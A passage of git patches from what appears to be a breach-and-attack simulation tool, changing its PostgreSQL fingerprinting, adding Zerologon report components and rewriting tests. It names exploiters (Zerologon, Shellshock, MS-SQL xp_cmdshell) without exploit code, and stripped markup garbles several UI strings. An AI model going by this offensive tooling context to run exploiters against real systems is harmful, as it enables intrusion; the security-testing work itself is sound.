self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) host.services[self._SCANNED_SERVICE]['communication_encryption_details'] =\ f'The PostgreSQL server was unexpectedly accessible with the credentials - ' +\ - 'user: \'{self.CREDS['username']}\' and password: \'{self.CREDS['password']}\'. Is this a honeypot?' + f"user: \'{self.CREDS['username']}\' and password: \'{self.CREDS['password']}\'. Is this a honeypot?" return True except psycopg2.OperationalError as ex: @@ -85,9 +86,9 @@ def analyze_operational_error(self, host, exception_string): ssl_conf_on_server = self.is_ssl_configured(exceptions) if ssl_conf_on_server: # SSL configured - self.get_connection_details_ssl_configured() + self.get_connection_details_ssl_configured(exceptions) else: # SSL not configured - self.get_connection_details_ssl_not_configured() + self.get_connection_details_ssl_not_configured(exceptions) host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(self.ssl_connection_details) @@ -100,7 +101,7 @@ def is_ssl_configured(exceptions): elif len(exceptions) == 2: # SSL configured so checks for both return True - def get_connection_details_ssl_configured(self): + def get_connection_details_ssl_configured(self, exceptions): self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) ssl_selected_comms_only = False @@ -120,7 +121,7 @@ def get_connection_details_ssl_configured(self): else: self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) - def get_connection_details_ssl_not_configured(self): + def get_connection_details_ssl_not_configured(self, exceptions): self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) From c504b21d3399cccd4705a74f4fa2c13a8bb6ab9b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 31 Mar 2021 11:50:53 +0300 Subject: [PATCH 0058/1360] Fixed trivial bugs like missing imports in issue UI files --- .../security/issues/AzurePasswordIssue.js | 1 + .../security/issues/CrossSegmentIssue.js | 4 +- .../security/issues/DrupalIssue.js | 1 + .../security/issues/ElasticIssue.js | 1 + .../security/issues/HadoopIssue.js | 1 + .../security/issues/MS08_067Issue.js | 1 + .../security/issues/MssqlIssue.js | 1 + .../security/issues/SambacryIssue.js | 1 + .../security/issues/SharedPasswordsIssue.js | 8 ++- .../security/issues/ShellShockIssue.js | 1 + .../security/issues/SshIssue.js | 1 + .../security/issues/StrongUsersOnCritIssue.js | 1 + .../security/issues/Struts2Issue.js | 1 + .../security/issues/TunnelIssue.js | 1 + .../security/issues/VsftpdIssue.js | 1 + .../security/issues/WebLogicIssue.js | 1 + .../security/issues/ZerologonIssue.js | 64 +++++++++++++++++++ 17 files changed, 85 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js index 5c849b1c62e..f572347dc48 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function AzurePasswordIssueOverview() { return (
  • Azure machines expose plaintext passwords. (Drupal server/s are vulnerable to Elasticsearch servers are vulnerable to Hadoop/Yarn servers are vulnerable to remote code execution.
  • ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js index fb679b42037..b16ab7e6665 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function MS08_067IssueOverview() { return (
  • Machines are vulnerable to ‘Conficker’ (MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js index cce80d2ed12..c07fcce7f0b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function SambacryIssueOverview() { return (
  • Samba servers are vulnerable to ‘SambaCry’ (Multiple users have the same password
  • ) @@ -15,7 +17,7 @@ export function generateSharedCredsDomainIssue(issue) { Some domain users are sharing passwords, this should be fixed by changing passwords. These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. + {generateInfoBadges(issue.shared_with)}. ); @@ -27,7 +29,7 @@ export function generateSharedCredsIssue(issue) { Some users are sharing passwords, this should be fixed by changing passwords. These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. + {generateInfoBadges(issue.shared_with)}. ); @@ -42,7 +44,7 @@ export function generateSharedLocalAdminsIssue(issue) { Here is a list of machines which the account {issue.username} is defined as an administrator: - {this.generateInfoBadges(issue.shared_machines)} + {generateInfoBadges(issue.shared_machines)} ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js index 1d143d2211d..02daa292cfc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function ShellShockIssueOverview() { return (
  • Machines are vulnerable to ‘Shellshock’ (Stolen SSH keys are used to exploit other machines.
  • ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js index 218a8704d2b..7f87e72c17d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function generateStrongUsersOnCritIssue(issue) { return ( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js index 7847f447ef8..7a590ba3c8c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function Struts2IssueOverview() { return (
  • Struts2 servers are vulnerable to remote code execution. (Weak segmentation - Machines were able to communicate over unused ports.
  • ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js index 0dae286e18f..214c1896bc8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js @@ -1,4 +1,5 @@ import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; export function VsftpdIssueOverview() { return (
  • VSFTPD is vulnerable to Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js new file mode 100644 index 00000000000..f125d67ecf0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js @@ -0,0 +1,64 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import WarningIcon from '../../../ui-components/WarningIcon'; +import {Button} from 'react-bootstrap'; + +export function ZerologonIssueOverview() { + return ( +
  • + Some Windows domain controllers are vulnerable to 'Zerologon' ( + ). +
  • + ) +} + +export function ZerologonOverviewWithFailedPassResetWarning() { + let overview = [ZerologonIssueOverview()]; + overview.push( +
  • + + + Automatic password restoration on a domain controller failed! + + +
  • + ) + return overview; +} + +export function ZerologonIssueReport(issue) { + return ( + <> + Install Windows security updates. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Zerologon exploit. +
    + The attack was possible because the latest security updates from Microsoft + have not been applied to this machine. For more information about this + vulnerability, read
    + Microsoft's documentation. + {!issue.password_restored ? +
    +
    + + The domain controller's password was changed during the exploit and could not be restored successfully. + Instructions on how to manually reset the domain controller's password can be found here. + +
    : null} + + + ); +} From e96b8eec383c8cc8564f3c2cd6beb646628712a8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 31 Mar 2021 11:53:50 +0300 Subject: [PATCH 0059/1360] Refactored zerologon exploiters report part to conform to new report structure --- .../exploiter_descriptor_enum.py | 3 ++ .../processors/zerologon.py | 11 ++++++ .../cc/services/reporting/report.py | 18 +++++---- .../report-components/SecurityReport.js | 37 ++++++++++++------- 4 files changed, 47 insertions(+), 22 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 8628136d81b..eff1f7758ab 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -7,6 +7,8 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import \ ShellShockExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import \ + ZerologonExploitProcessor @dataclass @@ -31,3 +33,4 @@ class ExploiterDescriptorEnum(Enum): MSSQL = ExploiterDescriptor('MSSQLExploiter', 'MSSQL Exploiter', ExploitProcessor) VSFTPD = ExploiterDescriptor('VSFTPDExploiter', 'VSFTPD Backdoor Exploiter', CredExploitProcessor) DRUPAL = ExploiterDescriptor('DrupalExploiter', 'Drupal Server Exploiter', ExploitProcessor) + ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'ZeroLogon Exploiter', ZerologonExploitProcessor) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py new file mode 100644 index 00000000000..e0be6cd4245 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -0,0 +1,11 @@ +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor, \ + ExploiterReportInfo + + +class ZerologonExploitProcessor: + + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + exploit_info.password_restored = exploit_dict['data']['info']['password_restored'] + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 42adfd5a2d1..a4642c694d9 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -45,6 +45,7 @@ class ReportService: class DerivedIssueEnum: WEAK_PASSWORD = "weak_password" STOLEN_CREDS = "stolen_creds" + ZEROLOGON_PASS_RESTORE_FAILED = "zerologon_pass_restore_failed" @staticmethod def get_first_monkey_time(): @@ -264,7 +265,7 @@ def process_exploit(exploit) -> ExploiterReportInfo: return exploiter_info @staticmethod - def get_exploits() -> dict: + def get_exploits() -> List[dict]: query = [{'$match': {'telem_category': 'exploit', 'data.result': True}}, {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'}, 'data': {'$first': '$$ROOT'}, @@ -439,7 +440,6 @@ def get_cross_segment_issues(): @staticmethod def get_domain_issues(): - ISSUE_GENERATORS = [ PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_shared_admins_issues, @@ -491,8 +491,7 @@ def get_config_exploits(): if exploits == default_exploits: return ['default'] - # TODO investigate strange code - return [exploit for exploit in exploits] + return exploits @staticmethod def get_config_ips(): @@ -508,13 +507,12 @@ def get_issue_set(issues, config_users, config_passwords): for machine in issues: for issue in issues[machine]: - # TODO check if this actually works, because stolen passwords get added to config - # so any password will be in config. We need to separate stolen passwords from initial - # passwords in config. if ReportService._is_weak_credential_issue(issue, config_users, config_passwords): issue_set.add(ReportService.DerivedIssueEnum.WEAK_PASSWORD) elif ReportService._is_stolen_credential_issue(issue): issue_set.add(ReportService.DerivedIssueEnum.STOLEN_CREDS) + elif ReportService._is_zerologon_pass_restore_failed(issue): + issue_set.add(ReportService.DerivedIssueEnum.ZEROLOGON_PASS_RESTORE_FAILED) issue_set.add(issue['type']) @@ -535,6 +533,11 @@ def _is_stolen_credential_issue(issue: dict) -> bool: (issue['credential_type'] == CredentialType.PASSWORD.value or issue['credential_type'] == CredentialType.HASH.value) + @staticmethod + def _is_zerologon_pass_restore_failed(issue: dict): + return issue['type'] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name \ + and not issue['password_restored'] + @staticmethod def is_report_generated(): generated_report = mongo.db.report.find_one({}) @@ -594,7 +597,6 @@ def generate_report(): @staticmethod def get_issues(): - # Todo refactor these into separate files with a method signature -> dict ISSUE_GENERATORS = [ ReportService.get_exploits, ReportService.get_tunnels, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 4296e773ccf..cdd23aa8ae6 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -46,6 +46,11 @@ import {StolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; import {WeakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; import {AzurePasswordIssueOverview, AzurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; import {generateStrongUsersOnCritIssue} from './security/issues/StrongUsersOnCritIssue'; +import { + ZerologonIssueOverview, + ZerologonIssueReport, + ZerologonOverviewWithFailedPassResetWarning +} from './security/issues/ZerologonIssue'; class ReportPageComponent extends AuthComponent { @@ -139,7 +144,12 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'ZerologonExploiter': { - //TODO add + [this.issueContentTypes.OVERVIEW]: ZerologonIssueOverview, + [this.issueContentTypes.REPORT]: ZerologonIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'zerologon_pass_restore_failed': { + [this.issueContentTypes.OVERVIEW]: ZerologonOverviewWithFailedPassResetWarning, }, 'island_cross_segment': { [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, @@ -162,11 +172,9 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'shared_passwords_domain': { - [this.issueContentTypes.REPORT]: generateSharedCredsDomainIssue(), + [this.issueContentTypes.REPORT]: generateSharedCredsDomainIssue, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, - - // This issue was missing overview section 'strong_users_on_crit': { [this.issueContentTypes.REPORT]: generateStrongUsersOnCritIssue, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER @@ -224,8 +232,6 @@ class ReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { - - console.log(this.state.report); content =
    {this.generateReportOverviewSection()} @@ -386,7 +392,7 @@ class ReportPageComponent extends AuthComponent {
    The Monkey uncovered the following possible set of issues:
      - {overviews} + {this.getPotentialSecurityIssuesOverviews()}
    : @@ -416,15 +422,18 @@ class ReportPageComponent extends AuthComponent { getPotentialSecurityIssuesOverviews() { let overviews = []; + let issues = this.state.report.overview.issues; - for (let issueKey of this.state.report.overview.issues) { - overviews.push(this.IssueDescriptorEnum[issueKey][this.issueContentTypes.OVERVIEW]); + for(let i=0; i < issues.length; i++) { + if (this.isIssuePotentialSecurityIssue(issues[i])) { + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]])); + } } return overviews; } getImmediateThreats() { - let threatCount = this.countImmediateThreats() + let threatCount = this.getImmediateThreatCount() return (

    @@ -436,18 +445,19 @@ class ReportPageComponent extends AuthComponent { {threatCount} threats : + {this.getImmediateThreatsOverviews()} }

    ) } - countImmediateThreats() { + getImmediateThreatCount() { let threatCount = 0; let issues = this.state.report.overview.issues; for(let i=0; i < issues.length; i++) { - if (this.IssueDescriptorEnum[issues[i]][this.issueContentTypes.TYPE] === this.issueTypes.DANGER) { + if(this.isIssueImmediateThreat(issues[i])) { threatCount++; } } @@ -551,8 +561,7 @@ class ReportPageComponent extends AuthComponent { generateIssue = (issue) => { let issueDescriptor = this.IssueDescriptorEnum[issue.type]; - let reportFnc = (issue) => { - }; + let reportFnc = (issue) => {}; if (issue.hasOwnProperty('credential_type')) { reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; } else { From 05fda70cd6290a82075d6aba28ddc6b19e7a7f1d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 31 Mar 2021 11:54:20 +0300 Subject: [PATCH 0060/1360] Fixed SSH exploiter's report section in UI --- .../ui/src/components/report-components/SecurityReport.js | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index cdd23aa8ae6..815be49a6af 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -26,7 +26,7 @@ import {MssqlIssueOverview, MssqlIssueReport} from './security/issues/MssqlIssue import {DrupalIssueOverview, DrupalIssueReport} from './security/issues/DrupalIssue'; import {VsftpdIssueOverview, VsftpdIssueReport} from './security/issues/VsftpdIssue'; import {generateWmiPasswordIssue, generateWmiPthIssue} from './security/issues/WmiIssue'; -import {ShhIssueReport, SshIssueOverview} from './security/issues/SshIssue'; +import {generateSshKeysReport, ShhIssueReport, SshIssueOverview} from './security/issues/SshIssue'; import {SambacryIssueOverview, SambacryIssueReport} from './security/issues/SambacryIssue'; import {ElasticIssueOverview, ElasticIssueReport} from './security/issues/ElasticIssue'; import {ShellShockIssueOverview, ShellShockIssueReport} from './security/issues/ShellShockIssue'; @@ -120,7 +120,10 @@ class ReportPageComponent extends AuthComponent { }, 'SSHExploiter': { [this.issueContentTypes.OVERVIEW]: SshIssueOverview, - [this.issueContentTypes.REPORT]: ShhIssueReport, + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: ShhIssueReport, + [this.credentialTypes.KEY]: generateSshKeysReport + }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'SambaCryExploiter': { From a284467a1a98e3353fac7757e6c97b2588ab28ea Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 31 Mar 2021 11:55:22 +0300 Subject: [PATCH 0061/1360] Improved UI by creating distinct functions related to immediate threats report component --- .../report-components/SecurityReport.js | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 815be49a6af..9ac409e8e01 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -435,6 +435,13 @@ class ReportPageComponent extends AuthComponent { return overviews; } + isIssuePotentialSecurityIssue(issueName) { + let issueDescriptor = this.IssueDescriptorEnum[issueName]; + return issueDescriptor.hasOwnProperty(this.issueContentTypes.TYPE) && + issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.WARNING && + issueDescriptor.hasOwnProperty(this.issueContentTypes.OVERVIEW); + } + getImmediateThreats() { let threatCount = this.getImmediateThreatCount() return ( @@ -467,6 +474,32 @@ class ReportPageComponent extends AuthComponent { return threatCount; } + isIssueImmediateThreat(issueName) { + let issueDescriptor = this.IssueDescriptorEnum[issueName]; + return issueDescriptor.hasOwnProperty(this.issueContentTypes.TYPE) && + issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.DANGER && + issueDescriptor.hasOwnProperty(this.issueContentTypes.OVERVIEW); + } + + getImmediateThreatsOverviews() { + let overviews = []; + let issues = this.state.report.overview.issues; + + for(let i=0; i < issues.length; i++) { + if (this.isIssueImmediateThreat(issues[i])) { + if (issues[i] === 'ZerologonExploiter' && issues.includes('zerologon_pass_restore_failed')){ + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum['zerologon_pass_restore_failed'])); + } else { + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]])); + } + } + } + return overviews; + } + + getIssueOverview(issueDescriptor) { + return issueDescriptor[this.issueContentTypes.OVERVIEW](); + } generateReportRecommendationsSection() { return ( From b0f85f6857596524389a55bed4aac36efce38baf Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 31 Mar 2021 14:48:13 +0530 Subject: [PATCH 0062/1360] Rewrite tests with pytest --- .../network/test_postgresql_finger.py | 151 ++++++++++++------ 1 file changed, 106 insertions(+), 45 deletions(-) diff --git a/monkey/infection_monkey/network/test_postgresql_finger.py b/monkey/infection_monkey/network/test_postgresql_finger.py index 632541257b1..f0bf5998f38 100644 --- a/monkey/infection_monkey/network/test_postgresql_finger.py +++ b/monkey/infection_monkey/network/test_postgresql_finger.py @@ -1,11 +1,11 @@ -from unittest import TestCase -from unittest.mock import Mock +import pytest +import infection_monkey.network.postgresql_finger from infection_monkey.network.postgresql_finger import PostgreSQLFinger IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." -RELEVANT_EXCEPTION_STRINGS =\ +_RELEVANT_EXCEPTION_STRING_PARTS =\ { 'pwd_auth_failed': 'FATAL: password authentication failed for user "root"', 'ssl_on_entry_not_found': 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' @@ -14,7 +14,21 @@ 'user "random", database "postgres", SSL off' } -RESULT_STRINGS =\ +_RELEVANT_EXCEPTION_STRINGS =\ + { + 'pwd_auth_failed': _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], + 'ssl_off_entry_not_found': _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found'], + 'pwd_auth_failed_pwd_auth_failed': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], + _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed']]), + 'pwd_auth_failed_ssl_off_entry_not_found': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], + _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found']]), + 'ssl_on_entry_not_found_pwd_auth_failed': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['ssl_on_entry_not_found'], + _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed']]), + 'ssl_on_entry_not_found_ssl_off_entry_not_found': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['ssl_on_entry_not_found'], + _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found']]) + } + +_RESULT_STRINGS =\ { 'ssl_conf': "SSL is configured on the PostgreSQL server.\n", 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", @@ -27,64 +41,111 @@ 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" } -EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS =\ +RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS =\ { - # SSL not configured, all non-SSL allowed, # SSL not configured, all non-SSL allowed - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']: [ - RESULT_STRINGS['ssl_not_conf'], - RESULT_STRINGS['all_non_ssl'] + # SSL not configured, all non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']: [ + _RESULT_STRINGS['ssl_not_conf'], + _RESULT_STRINGS['all_non_ssl'] ], # SSL not configured, selected non-SSL allowed - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']: [ - RESULT_STRINGS['ssl_not_conf'], - RESULT_STRINGS['selected_non_ssl'] + _RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']: [ + _RESULT_STRINGS['ssl_not_conf'], + _RESULT_STRINGS['selected_non_ssl'] ], # all SSL allowed, all non-SSL allowed - '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]): [ - RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['all_ssl'], - RESULT_STRINGS['all_non_ssl'] + _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_pwd_auth_failed']: [ + _RESULT_STRINGS['ssl_conf'], + _RESULT_STRINGS['all_ssl'], + _RESULT_STRINGS['all_non_ssl'] ], # all SSL allowed, selected non-SSL allowed - '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]): [ - RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['all_ssl'], - RESULT_STRINGS['selected_non_ssl'] + _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_ssl_off_entry_not_found']: [ + _RESULT_STRINGS['ssl_conf'], + _RESULT_STRINGS['all_ssl'], + _RESULT_STRINGS['selected_non_ssl'] ], # selected SSL allowed, all non-SSL allowed - '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]): [ - RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['selected_ssl'], - RESULT_STRINGS['all_non_ssl'] + _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_pwd_auth_failed']: [ + _RESULT_STRINGS['ssl_conf'], + _RESULT_STRINGS['selected_ssl'], + _RESULT_STRINGS['all_non_ssl'] ], # selected SSL allowed, selected non-SSL allowed - '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]): [ - RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['only_selected'] + _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_ssl_off_entry_not_found']: [ + _RESULT_STRINGS['ssl_conf'], + _RESULT_STRINGS['only_selected'] ] } -class TestPostgreSQLFinger(TestCase): - def test_is_relevant_exception(self): - assert PostgreSQLFinger()._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False - for exception_string in EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS: - assert PostgreSQLFinger()._is_relevant_exception(exception_string) is True - - def test_analyze_operational_error(self): - host = Mock(['services']) - host.services = {} - for exception_string in EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS: - with self.subTest(msg=f"Checking result for exception: {exception_string}"): - PostgreSQLFinger().analyze_operational_error(host, exception_string) - assert host.services['PostgreSQL']['communication_encryption_details'] ==\ - ''.join(EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception_string]) +@pytest.fixture +def mock_PostgreSQLFinger(): + return PostgreSQLFinger() + + +class DummyHost: + def __init__(self): + self.services = {} + + +@pytest.fixture +def host(): + return DummyHost() + + +def test_irrelevant_exception(mock_PostgreSQLFinger): + assert mock_PostgreSQLFinger._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False + + +def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + + +def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + + +def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_pwd_auth_failed'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == 